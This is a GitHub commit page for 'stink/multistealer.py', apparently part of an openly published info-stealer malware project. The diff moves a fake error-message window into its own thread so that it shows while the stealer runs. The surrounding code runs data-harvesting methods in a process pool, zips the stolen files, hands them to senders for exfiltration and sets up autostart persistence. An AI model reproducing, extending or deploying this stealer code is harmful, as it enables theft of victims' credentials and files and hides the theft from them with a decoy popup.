Skip to content

Commit

Permalink
Error window output is moved to a separate thread
Browse files Browse the repository at this point in the history
  • Loading branch information
FallenAstaroth committed Oct 25, 2023
1 parent 063103e commit 866193c
Showing 1 changed file with 4 additions and 5 deletions.
9 changes: 4 additions & 5 deletions stink/multistealer.py
Original file line number Diff line number Diff line change
Expand Up @@ -195,14 +195,16 @@ def run(self) -> None:

sleep(self.__delay)

if self.__message is True:
Thread(target=Message().run).start()

with Pool(processes=self.__config.PoolSize) as pool:
results = pool.starmap(functions.run_process, [
(method["object"], method["arguments"]) for method in self.__methods if method["status"] is True
])
pool.close()

filtered_results = [item for item in results if item]
data = self.__storage.create_zip([item for sublist in filtered_results for item in sublist])
data = self.__storage.create_zip([file for files in results if files for file in files])

for sender in self.__senders:
sender.run(self.__config.ZipName, data)
Expand All @@ -213,8 +215,5 @@ def run(self) -> None:
if self.__autostart is True:
Autostart(argv[0]).run()

if self.__message is True:
Message().run()

except Exception as e:
print(f"[Multi stealer]: {repr(e)}")

0 comments on commit 866193c

Please sign in to comment.